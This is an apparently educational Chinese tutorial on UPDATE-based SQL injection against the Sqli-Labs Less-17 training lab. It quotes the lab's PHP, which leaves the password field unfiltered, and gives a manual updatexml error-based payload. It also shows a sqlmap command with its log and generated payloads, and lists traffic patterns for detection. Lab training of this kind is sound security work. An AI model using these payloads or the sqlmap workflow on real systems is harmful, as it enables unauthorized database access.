

Update 注入及流量分析

1. Mysql update 语句复习

update 语句可用来修改表中的数据，简单来说基本的使用形式为：

update 表名称 set 列名称=新值 where 更新条件；

UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]

Update 语句练习

修改 security 数据库 users 表的 admin 字段的值为 000000

2. Update 注入代码分析

输入过滤函数

```
function check_input($value)
{
    if(!empty($value))
    {
        // truncation (see comments)
        $value = substr($value, 0, 15);

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
        {
            $value = stripslashes($value);

            // Quote if not a number
            if (!ctype_digit($value))
            {
                $value = "'" . mysql_real_escape_string($value) . "'";
            }
        }

        else
        {
            $value = intval($value);
        }

        return $value;
    }
}

//making sure uname is not injectable
$username=check_input( $_POST['uname'] );
$password=$_POST['passwd'];
```

过滤函数

只对uname进行过滤

```
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username= '$row1' ";
mysql_query($update);
```

password存在注入点

3. Mysql update 手工注入演示

Sqli-Labs Less-17

Payload

name=admin&passwd=admin' or

updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit

4. Sqlmap 安全测试

利用 sqlmap 读取 target.txt 中的内容并指定 passwd 参数进行 SQL 注入漏洞的利用。

target 文件内容

```
POST /Less-17/ HTTP/1.1
Host: 192.168.137.150:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.137.150:8088
Connection: close
Referer: http://192.168.137.150:8088/Less-17/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit
```

sqlmap -r target.txt -p passwd

测试结果

```

[17:54:29] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[17:54:29] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
POST parameter 'passwd' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 761 HTTP(s) requests:
---
Parameter: passwd (POST)
Type: error-based
Title: MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=admin&passwd=admin' WHERE 9061=9061 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b6271
x7162707171,0x78))s), 8446744073709551610, 8446744073709551610)))-- nGiz8submit=Submit
Type: time-based blind

```

5. 流量分析

探测流量' \ ' and 1=1 等

利用流量

盲注流量

报错函数流量等

Sqlmap 流量